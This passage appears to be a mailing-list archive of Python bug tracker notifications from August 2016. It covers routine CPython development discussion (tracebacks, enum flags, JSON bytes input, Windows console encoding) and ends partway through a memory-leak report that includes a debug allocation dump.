Justin, we are using ttk in 3.6, so the idea is feasible if it works. I do not remember a specific proposal to use ttk Combobox, as it could not be done before now. Mark, any comments? ---------- nosy: +markroseman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 18:35:09 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 14 Aug 2016 22:35:09 +0000 Subject: [issue27173] Modern Unix key bindings for IDLE In-Reply-To: <1464766185.36.0.150155479026.issue27173@psf.upfronthosting.co.za> Message-ID: <1471214109.6.0.653969870156.issue27173@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Yes. If I decide to do a backport to either 3.5 or 2.7, I can reopen or just commit. ---------- resolution: -> fixed stage: commit review -> resolved status: open -> closed versions: -Python 2.7, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 19:14:17 2016 From: report at bugs.python.org (INADA Naoki) Date: Sun, 14 Aug 2016 23:14:17 +0000 Subject: [issue27350] Compact and ordered dict In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za> Message-ID: <1471216457.9.0.280251266645.issue27350@psf.upfronthosting.co.za> Changes by INADA Naoki : Added file: http://bugs.python.org/file44110/compact-dict.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 19:41:08 2016 From: report at bugs.python.org (Ethan Furman) Date: Sun, 14 Aug 2016 23:41:08 +0000 Subject: [issue23591] Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1471218068.32.0.923212945282.issue23591@psf.upfronthosting.co.za> Ethan Furman added the comment: Currently, the patch has the main values pre-created (so identity works as expected), and combinations are created on the fly (like normal class instances) -- in which case identity cannot be relied upon. Once I have the basic work done, I'll go back and add a cache so each unique value is only created once; at some point I'll make those cached values weakref'ed so they disappear when no longer used. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 21:03:55 2016 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 15 Aug 2016 01:03:55 +0000 Subject: [issue27723] Document typing.Text and typing.AnyStr In-Reply-To: <1471209125.37.0.590997193488.issue27723@psf.upfronthosting.co.za> Message-ID: Guido van Rossum added the comment: Also see my comments in rietveld. --Guido (mobile) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 21:08:05 2016 From: report at bugs.python.org (Nick Coghlan) Date: Mon, 15 Aug 2016 01:08:05 +0000 Subject: [issue26823] Shrink recursive tracebacks In-Reply-To: <1461292585.22.0.159887337407.issue26823@psf.upfronthosting.co.za> Message-ID: <1471223285.51.0.846141080487.issue26823@psf.upfronthosting.co.za> Nick Coghlan added the comment: I'm at the PyCon AU sprints today, and will take a look at getting this merged. ---------- assignee: ebarry -> ncoghlan stage: patch review -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 21:15:43 2016 From: report at bugs.python.org (Steven D'Aprano) Date: Mon, 15 Aug 2016 01:15:43 +0000 Subject: [issue6422] timeit called from within Python should allow autoranging In-Reply-To: <1246806912.2.0.722769600334.issue6422@psf.upfronthosting.co.za> Message-ID: <1471223743.29.0.803142393278.issue6422@psf.upfronthosting.co.za> Steven D'Aprano added the comment: Still to do (coming soon): - make the 0.2s time configurable; - have `timeit` and `repeat` methods (and functions) fall back on `autorange` if the number is set to 0 or None. ---------- assignee: -> steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 21:20:09 2016 From: report at bugs.python.org (Steven D'Aprano) Date: Mon, 15 Aug 2016 01:20:09 +0000 Subject: [issue27573] code.interact() should print an exit message In-Reply-To: <1468932940.76.0.523388198835.issue27573@psf.upfronthosting.co.za> Message-ID: <1471224009.12.0.412565393264.issue27573@psf.upfronthosting.co.za> Changes by Steven D'Aprano : ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 23:13:08 2016 From: report at bugs.python.org (Roundup Robot) Date: Mon, 15 Aug 2016 03:13:08 +0000 Subject: [issue26823] Shrink recursive tracebacks In-Reply-To: <1461292585.22.0.159887337407.issue26823@psf.upfronthosting.co.za> Message-ID: <20160815031304.537.38141.001C72EB@psf.io> Roundup Robot added the comment: New changeset 5a2ff215e841 by Nick Coghlan in branch 'default': Issue #26823: Abbreviate recursive tracebacks https://hg.python.org/cpython/rev/5a2ff215e841 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 23:15:43 2016 From: report at bugs.python.org (Nick Coghlan) Date: Mon, 15 Aug 2016 03:15:43 +0000 Subject: [issue26823] Shrink recursive tracebacks In-Reply-To: <1461292585.22.0.159887337407.issue26823@psf.upfronthosting.co.za> Message-ID: <1471230942.99.0.586282520982.issue26823@psf.upfronthosting.co.za> Nick Coghlan added the comment: Thanks for the patch, Emanuel! The merged patch uses your implementation and the test cases you designed, with the following changes: - I refactored the test cases so the traceback module gets tested on all implementations, with only the CPython builtin rendering tests being specific to CPython - I added docs updates and a couple of What's New entries for the change ---------- resolution: -> fixed stage: commit review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 23:20:07 2016 From: report at bugs.python.org (Emanuel Barry) Date: Mon, 15 Aug 2016 03:20:07 +0000 Subject: [issue26823] Shrink recursive tracebacks In-Reply-To: <1461292585.22.0.159887337407.issue26823@psf.upfronthosting.co.za> Message-ID: <1471231207.3.0.208431081341.issue26823@psf.upfronthosting.co.za> Emanuel Barry added the comment: Awesome, thanks! The "What's new" entry is a bit confusing though; to a casual observer it might look like the `traceback` module was updated but the normal behaviour wasn't changed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 23:20:59 2016 From: report at bugs.python.org (Decorater) Date: Mon, 15 Aug 2016 03:20:59 +0000 Subject: [issue26823] Shrink recursive tracebacks In-Reply-To: <1461292585.22.0.159887337407.issue26823@psf.upfronthosting.co.za> Message-ID: <1471231259.93.0.525688295824.issue26823@psf.upfronthosting.co.za> Decorater added the comment: Be nice if 3.5 had this as well. As it can be very annoying at times. (Not to mention thread exceptions just cant be handled by anyone's code unless you modify threading.py ---------- nosy: +Decorater _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 23:22:50 2016 From: report at bugs.python.org (Emanuel Barry) Date: Mon, 15 Aug 2016 03:22:50 +0000 Subject: [issue26823] Shrink recursive tracebacks In-Reply-To: <1461292585.22.0.159887337407.issue26823@psf.upfronthosting.co.za> Message-ID: <1471231370.89.0.445990334783.issue26823@psf.upfronthosting.co.za> Emanuel Barry added the comment: Pretty sure this falls under the "New features" category, and as such can't be applied on 3.5. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 23:25:55 2016 From: report at bugs.python.org (Decorater) Date: Mon, 15 Aug 2016 03:25:55 +0000 Subject: [issue26823] Shrink recursive tracebacks In-Reply-To: <1461292585.22.0.159887337407.issue26823@psf.upfronthosting.co.za> Message-ID: <1471231555.1.0.229039007336.issue26823@psf.upfronthosting.co.za> Decorater added the comment: 3.6 would make thread exceptions not print out to console or at least be configured to make them logged with the logging module in threading.py for 3.6? because I would like it to use the logger. Oh and how can I get the logs from the logging module from 2 different libs in 1 module? Like I can get the logs from 1 module just fine. However if I try to get from things (lets say from asyncio (then it would return nothing). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 23:26:46 2016 From: report at bugs.python.org (Emanuel Barry) Date: Mon, 15 Aug 2016 03:26:46 +0000 Subject: [issue26823] Shrink recursive tracebacks In-Reply-To: <1461292585.22.0.159887337407.issue26823@psf.upfronthosting.co.za> Message-ID: <1471231606.74.0.0575783820413.issue26823@psf.upfronthosting.co.za> Emanuel Barry added the comment: This is irrelevant to this issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 23:44:16 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 15 Aug 2016 03:44:16 +0000 Subject: [issue27706] Random.seed, whose purpose is purportedly determinism, behaves non-deterministically with strings due to hash randomization In-Reply-To: <1470615314.72.0.24682085223.issue27706@psf.upfronthosting.co.za> Message-ID: <1471232656.46.0.733886655048.issue27706@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I agree with the value of a Reproducibility guarantee. (The new section appears to have been added -- by Raymond -- in 3.2.) For instance, people posting play-through videos using reproducible random maps typically post the 'seed' and I have seen memorable phrases rather than ints used. I can imagine myself publishing seeds in other contexts. In 3.2, seed gained a 2nd parameter -- 'version'. "With version 2 (the default), a str, bytes, or bytearray object gets converted to an int and all of its bits are used." For this case, hashing is not an issue. But 'conversion to int' is. Did it change with the introduction of FSR in 3.3? It certainly should be frozen now, and the fact noted in the code. For other non-int objects, a hashable is required. (I expect anything other than int or string-like to be rare.) The doc does not say so (it should), but the dosctring does and experiment with [] confirms. "With version 1, the hash() of a is used instead." For hashed objects, whether version is 1 or 2, I guess the best we can do is to restore the fixed hash once used. For a fixed sequence of outputs, both seed and rng have to be fixed. 2.7 still has WichmannHill for this reason. It is gone in 3.x. It the rng is significantly changed (different sequence for the same seed), I believe the seed version should be changed also. ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 23:44:41 2016 From: report at bugs.python.org (Tim Peters) Date: Mon, 15 Aug 2016 03:44:41 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1471232681.5.0.77045884886.issue27761@psf.upfronthosting.co.za> Tim Peters added the comment: A meta-note: one iteration of Newton's method generally, roughly speaking, doubles the number of "good bits" in the initial approximation. For floating n'th root, it would an astonishingly bad libm pow() that didn't get more than half the leading bits in pow(x, 1/n) right. So a single Newton iteration, if carried out in infinite precision, should be enough to get all the bits "right" (meaning not significantly worse than 0.5 ulp error when converted back to a float). So if you find yourself doing more than one Newton iteration, you're just fighting floating-point noise. It's an illusion - nothing is actually getting better, except perhaps by accident. Which suggests one approach for doubles (in C - same as a Python float): get the pow() approximation. Feed it to a `fractions.Fraction()` constructor. Do one Newton iteration using the Fraction type. Then use `float()` to convert the result to a float. I believe that's the best you can possibly do without doing real work ;-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 00:27:09 2016 From: report at bugs.python.org (Lisa Roach) Date: Mon, 15 Aug 2016 04:27:09 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1471235229.05.0.465025504023.issue12345@psf.upfronthosting.co.za> Lisa Roach added the comment: I have added some more detail to the Tau documentation, including that Tau is 2 * pi, as well as some links to Tau Day and Vi Hart's video. That should give Python users enough to get started forming their own opinions on tau vs pi :) ---------- Added file: http://bugs.python.org/file44111/tau4.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 00:27:10 2016 From: report at bugs.python.org (Peter Lovett) Date: Mon, 15 Aug 2016 04:27:10 +0000 Subject: [issue10716] Modernize pydoc to use better HTML and separate CSS In-Reply-To: <1292491539.55.0.135732310832.issue10716@psf.upfronthosting.co.za> Message-ID: <1471235230.28.0.0319328867201.issue10716@psf.upfronthosting.co.za> Changes by Peter Lovett : ---------- nosy: +PeterLovett _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 00:31:28 2016 From: report at bugs.python.org (Xiang Zhang) Date: Mon, 15 Aug 2016 04:31:28 +0000 Subject: [issue27414] http.server.BaseHTTPRequestHandler inconsistence with Content-Length value In-Reply-To: <1467207276.94.0.887561217469.issue27414@psf.upfronthosting.co.za> Message-ID: <1471235488.43.0.847012503808.issue27414@psf.upfronthosting.co.za> Xiang Zhang added the comment: I write a patch for this trivial fix along with a corresponding test. Hope it helps. :) ---------- keywords: +patch Added file: http://bugs.python.org/file44112/issue27414.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 00:46:35 2016 From: report at bugs.python.org (Steve Dower) Date: Mon, 15 Aug 2016 04:46:35 +0000 Subject: [issue1602] windows console doesn't print or input Unicode In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za> Message-ID: <1471236395.14.0.501396106002.issue1602@psf.upfronthosting.co.za> Steve Dower added the comment: I'm fairly happy with where my current patch is at (not posted right now - too many different machines involved) and only one test is failing - test_cgi. The problem seems to be that urllib.parse.unquote() takes an encoding parameter to decode utf-8 encoded bytes with, and cgi infers this parameter from sys.stdin. I don't have the slightest idea why unquote/unquote_to_bytes unconditionally encodes with utf-8 and then allows decoding with an arbitrary encoding, but I guess it works okay for ASCII-compatible encodings? Unfortunately, utf-16-le is not ASCII compatible, and so this doesn't work. I'm not familiar enough with cgi or urllib.parse to know what to fix - any suggestions? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 00:51:02 2016 From: report at bugs.python.org (=?utf-8?b?0KTQuNC70LjQv9C/INCf0L7QvdC+0LzQsNGA0LXQsg==?=) Date: Mon, 15 Aug 2016 04:51:02 +0000 Subject: [issue27734] Memory leaks at Python35-32 In-Reply-To: <1470892075.99.0.402535403449.issue27734@psf.upfronthosting.co.za> Message-ID: <1471236662.97.0.730394827697.issue27734@psf.upfronthosting.co.za> ?????? ????????? added the comment: Hmm. Correct me if I'm not right. You agree that you have leaks, but you will not do anything with them until they start repeat in a loop? So I've updated problem. Thnx about nosy, idk. What I want is to use Python API without leaks in my programm. The problem is here: 1. I've created test.dll, which is static linked with Python. I've function tstf there: void tstf() { Py_Initialize(); Py_Finalize(); } (ofcourse I've imported it in source.def - tstf @1) And I have main dll: typedef void(*vv)(); void exec() { HMODULE hModule = ::LoadLibrary(L"d:\\PATH_TO_TEST.dll"); vv fnc = (vv)::GetProcAddress(hModule, "tstf"); (*fnc)(); ::FreeLibrary(hModule); } int main { exec(); //exec(); //exec(); } So I get more leaks because of more call exec() function. Waiting for your answer, than you! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 00:52:28 2016 From: report at bugs.python.org (Steve Dower) Date: Mon, 15 Aug 2016 04:52:28 +0000 Subject: [issue1602] windows console doesn't print or input Unicode In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za> Message-ID: <1471236748.78.0.102773005894.issue1602@psf.upfronthosting.co.za> Steve Dower added the comment: For more info here, cgi.parse has code like this: def parse(fp, ...): if fp is None: fp = sys.stdin encoding = getattr(fp, 'encoding', 'latin-1') # later on... return urllib.parse.parse_qs(a_str, encoding=encoding, ...) As an easy hack, I added this after assigning encoding: if len(' '.encode(encoding, errors='replace')) > 1: encoding = 'latin-1' I have no idea if this is a good idea or not. The current behaviour of mojibake in the parsed result is certainly worse, since the choice of utf-16-le is entirely contained within the parse() function. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 01:52:58 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 15 Aug 2016 05:52:58 +0000 Subject: [issue23591] Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1471240378.21.0.870404260963.issue23591@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I don't think this is a problem. For now os.O_WRONLY is os.O_WRONLY, but os.O_WRONLY|os.O_CREAT|os.O_TRUNC is not os.O_WRONLY|os.O_CREAT|os.O_TRUNC. There is an exponential number of combinations (actually infinite number if count not named bits) and you shouldn't use identity check for flags. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 02:32:00 2016 From: report at bugs.python.org (Martin Panter) Date: Mon, 15 Aug 2016 06:32:00 +0000 Subject: [issue1602] windows console doesn't print or input Unicode In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za> Message-ID: <1471242720.82.0.37756554766.issue1602@psf.upfronthosting.co.za> Martin Panter added the comment: I think this CGI thing is a separate bug, just exacerbated by the stdin.encoding problem. :) The urllib.parse.parse_qs() function takes an encoding parameter to figure out what to do with percent-encoded values: "%A9" ? b"\xA9".decode(...). This is different lower-level encoding: b"%A9".decode("ascii"). Maybe the best solution is just to remove the encoding argument, and let it revert to UTF-8, as it did before r87998. Or maybe it really should use the locale encoding. (Is that ASCII-compatible on Windows?) It really depends on where the query string was generated (in a browser, pre-computed URL, etc). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 02:46:35 2016 From: report at bugs.python.org (Roundup Robot) Date: Mon, 15 Aug 2016 06:46:35 +0000 Subject: [issue27704] bytes(x) is slow when x is bytearray In-Reply-To: <1470597747.43.0.480552843757.issue27704@psf.upfronthosting.co.za> Message-ID: <20160815064625.19247.60.157F0445@psf.io> Roundup Robot added the comment: New changeset 789a42401009 by Serhiy Storchaka in branch 'default': Issue #27704: Optimized creating bytes and bytearray from byte-like objects https://hg.python.org/cpython/rev/789a42401009 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 02:58:49 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 15 Aug 2016 06:58:49 +0000 Subject: [issue16764] Make zlib accept keyword-arguments In-Reply-To: <1356353108.66.0.0747083241018.issue16764@psf.upfronthosting.co.za> Message-ID: <1471244329.32.0.664396397199.issue16764@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: LGTM. With issue27574 the overhead is even smaller. ---------- assignee: -> serhiy.storchaka stage: patch review -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 03:06:34 2016 From: report at bugs.python.org (Roundup Robot) Date: Mon, 15 Aug 2016 07:06:34 +0000 Subject: [issue16764] Make zlib accept keyword-arguments In-Reply-To: <1356353108.66.0.0747083241018.issue16764@psf.upfronthosting.co.za> Message-ID: <20160815070631.67939.35861.9BF4B5F7@psf.io> Roundup Robot added the comment: New changeset a4101218364e by Serhiy Storchaka in branch 'default': Issue #16764: Support keyword arguments to zlib.decompress(). Patch by https://hg.python.org/cpython/rev/a4101218364e ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 03:13:38 2016 From: report at bugs.python.org (Nick Coghlan) Date: Mon, 15 Aug 2016 07:13:38 +0000 Subject: [issue26823] Shrink recursive tracebacks In-Reply-To: <1461292585.22.0.159887337407.issue26823@psf.upfronthosting.co.za> Message-ID: <1471245218.25.0.458001726724.issue26823@psf.upfronthosting.co.za> Nick Coghlan added the comment: As Emanuel noted, this is a new feature, and hence won't be backported to any earlier versions. For What's New, it turns out that didn't quite render the way I expected, since the "StackSummary" class reference is missing in addition to the "traceback" module reference. So I'll tweak that, and also try to make it clearer that all tracebacks are affected, not just those printed via the traceback module (PyTraceback_Print is mentioned further down, but what I'll probably do is add an example of an infinite recursion being truncated at the interactive prompt) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 03:20:28 2016 From: report at bugs.python.org (Nick Coghlan) Date: Mon, 15 Aug 2016 07:20:28 +0000 Subject: [issue27765] Accept UTF-8 encoded bytes as input to json.loads() Message-ID: <1471245628.7.0.787756575079.issue27765@psf.upfronthosting.co.za> New submission from Nick Coghlan: In two recent Python 3 porting projects, a key incompatibility I encountered was that "json.loads(data)" on UTF-8 encoded bytes required an explicit decoding step under Python 3, rather than implicitly decoding the data as UTF-8. Unlike many other wire formats, assuming UTF-8 for binary JSON data is a pretty safe assumption, and there's no type ambiguity here since the output type is still a properly decoded JSON object. (This RFE has been split out from the larger RFE at #19837, which also covers implicit *encoding* to UTF-8, which is a more questionable idea) ---------- components: Library (Lib) messages: 272725 nosy: ezio.melotti, ncoghlan, rhettinger priority: normal severity: normal stage: needs patch status: open title: Accept UTF-8 encoded bytes as input to json.loads() type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 03:21:41 2016 From: report at bugs.python.org (Nick Coghlan) Date: Mon, 15 Aug 2016 07:21:41 +0000 Subject: [issue19837] Wire protocol encoding for the JSON module In-Reply-To: <1385778645.87.0.0800898315059.issue19837@psf.upfronthosting.co.za> Message-ID: <1471245701.65.0.683307884042.issue19837@psf.upfronthosting.co.za> Nick Coghlan added the comment: After hitting this problem again in another nominally single-source compatible Python 2/3 project, I created #27765 to specifically cover accepting UTF-8 encoded bytes in json.loads() ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 03:24:39 2016 From: report at bugs.python.org (Roundup Robot) Date: Mon, 15 Aug 2016 07:24:39 +0000 Subject: [issue10910] pyport.h FreeBSD/Mac OS X "fix" causes errors in C++ compilation In-Reply-To: <1295040100.28.0.0907494738582.issue10910@psf.upfronthosting.co.za> Message-ID: <20160815072429.63040.6831.1CBCF70F@psf.io> Roundup Robot added the comment: New changeset 2f857ac9c7af by Ned Deily in branch '3.5': Issue #10910: Avoid C++ compilation errors on FreeBSD and OS X. https://hg.python.org/cpython/rev/2f857ac9c7af New changeset 27a99a722828 by Ned Deily in branch '3.5': Issue #10910: Update FreedBSD version checks for the ctype UTF-8 workaround. https://hg.python.org/cpython/rev/27a99a722828 New changeset 5ca8790f1161 by Ned Deily in branch 'default': Issue #10910: merge from 3.5 https://hg.python.org/cpython/rev/5ca8790f1161 New changeset e0ec3471cb09 by Ned Deily in branch '2.7': Issue #10910: Avoid C++ compilation errors on FreeBSD and OS X. https://hg.python.org/cpython/rev/e0ec3471cb09 New changeset 12a70477db03 by Ned Deily in branch '2.7': Issue #10910: Update FreedBSD version checks for the ctype UTF-8 workaround. https://hg.python.org/cpython/rev/12a70477db03 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 01:07:56 2016 From: report at bugs.python.org (=?utf-8?b?0KTQuNC70LjQv9C/INCf0L7QvdC+0LzQsNGA0LXQsg==?=) Date: Thu, 11 Aug 2016 05:07:56 +0000 Subject: [issue27734] Memory leaks at Python35-32 Message-ID: <1470892075.99.0.402535403449.issue27734@psf.upfronthosting.co.za> New submission from ?????? ?????????: I've created Win32 app (MFC+ATL) Added includes, added \python35_d.lib runed main.cpp: int main() { int nRetCode = 0; HMODULE hModule = ::GetModuleHandle(nullptr); if (hModule != nullptr) { // initialize MFC and print and error on failure if (!AfxWinInit(hModule, nullptr, ::GetCommandLine(), 0)) { // TODO: change error code to suit your needs wprintf(L"Fatal Error: MFC initialization failed\n"); nRetCode = 1; } else { Py_Initialize(); Py_Finalize(); return 0; } } else { // TODO: change error code to suit your needs wprintf(L"Fatal Error: GetModuleHandle failed\n"); nRetCode = 1; } return nRetCode; } get leaks: The thread 0x105c has exited with code 0 (0x0). Detected memory leaks! Dumping objects -> {4888} normal block at 0x003ADE28, 6176 bytes long. Data: < m > 00 00 18 10 6D FB FB FB 01 00 00 00 00 02 00 00 {4879} normal block at 0x003FFF28, 3104 bytes long. Data: < m > 00 00 0C 10 6D FB FB FB 01 00 00 00 00 01 00 00 {4747} normal block at 0x003F7CC0, 80 bytes long. Data: < @m x > 00 00 00 40 6D FB FB FB 78 F7 91 00 00 00 00 00 {4742} normal block at 0x003FC240, 80 bytes long. Data: < @m > 00 00 00 40 6D FB FB FB 01 00 00 00 04 00 00 00 {4734} normal block at 0x003EE398, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {4732} normal block at 0x003FC1C0, 80 bytes long. Data: < @m > 00 00 00 40 6D FB FB FB 01 00 00 00 04 00 00 00 {4731} normal block at 0x003EE2E8, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {4723} normal block at 0x003EE238, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {4721} normal block at 0x003F86F8, 416 bytes long. Data: < m > 00 00 01 90 6D FB FB FB 01 00 00 00 20 00 00 00 {4720} normal block at 0x003FC140, 80 bytes long. Data: < @m > 00 00 00 40 6D FB FB FB 01 00 00 00 04 00 00 00 {4713} normal block at 0x003EE188, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {4711} normal block at 0x003FC0C0, 80 bytes long. Data: < @m > 00 00 00 40 6D FB FB FB 01 00 00 00 04 00 00 00 {4710} normal block at 0x003F6A30, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {4703} normal block at 0x003EE0D8, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {4701} normal block at 0x003FC040, 80 bytes long. Data: < @m > 00 00 00 40 6D FB FB FB 01 00 00 00 04 00 00 00 {4694} normal block at 0x003EE028, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {4642} normal block at 0x003FBFC0, 80 bytes long. Data: < @m > 00 00 00 40 6D FB FB FB 01 00 00 00 04 00 00 00 {4635} normal block at 0x003EDEC8, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {3981} normal block at 0x003F5680, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {3973} normal block at 0x003F5568, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {3971} normal block at 0x003F5450, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {3957} normal block at 0x003F5338, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {3949} normal block at 0x003F5220, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {3940} normal block at 0x003F5108, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {3938} normal block at 0x003F4FF0, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {3930} normal block at 0x003F4ED8, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {3922} normal block at 0x003F4DC0, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {3908} normal block at 0x003A2700, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {3900} normal block at 0x003A24D0, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {3383} normal block at 0x003ABBD8, 80 bytes long. Data: < @m P1 > 00 00 00 40 6D FB FB FB B8 50 31 00 00 00 00 00 {3379} normal block at 0x003C9338, 800 bytes long. Data: < m @ > 00 00 03 10 6D FB FB FB 01 00 00 00 40 00 00 00 {3368} normal block at 0x003D9BB0, 80 bytes long. Data: < @m > 00 00 00 40 6D FB FB FB 01 00 00 00 04 00 00 00 {3360} normal block at 0x00394C28, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {3358} normal block at 0x003D9B30, 80 bytes long. Data: < @m > 00 00 00 40 6D FB FB FB 01 00 00 00 04 00 00 00 {3357} normal block at 0x00394B78, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {3349} normal block at 0x00394AC8, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {3347} normal block at 0x003BFBA8, 416 bytes long. Data: < m > 00 00 01 90 6D FB FB FB 01 00 00 00 20 00 00 00 {3346} normal block at 0x003D9AB0, 80 bytes long. Data: < @m > 00 00 00 40 6D FB FB FB 01 00 00 00 04 00 00 00 {3339} normal block at 0x00394A18, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {3337} normal block at 0x003D9A30, 80 bytes long. Data: < @m > 00 00 00 40 6D FB FB FB 01 00 00 00 04 00 00 00 {3330} normal block at 0x00394968, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {3328} normal block at 0x003AD9D8, 80 bytes long. Data: < @m > 00 00 00 40 6D FB FB FB 01 00 00 00 04 00 00 00 {3321} normal block at 0x003948B8, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {3220} normal block at 0x003A19E0, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {3154} normal block at 0x00394288, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {3141} normal block at 0x003946A8, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {3129} normal block at 0x00394548, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {3119} normal block at 0x003943E8, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {3111} normal block at 0x003C2590, 730 bytes long. Data: < r o > 00 00 02 CA 72 FB FB FB 00 00 02 BA 6F FB FB FB {3104} normal block at 0x003A1580, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {2910} normal block at 0x00382CA8, 416 bytes long. Data: < m > 00 00 01 90 6D FB FB FB 01 00 00 00 20 00 00 00 {2814} normal block at 0x003BF448, 416 bytes long. Data: < m > 00 00 01 90 6D FB FB FB 01 00 00 00 20 00 00 00 {2743} normal block at 0x0035B318, 80 bytes long. Data: < @m 4 > 00 00 00 40 6D FB FB FB B8 34 8E 00 00 00 00 00 {2742} normal block at 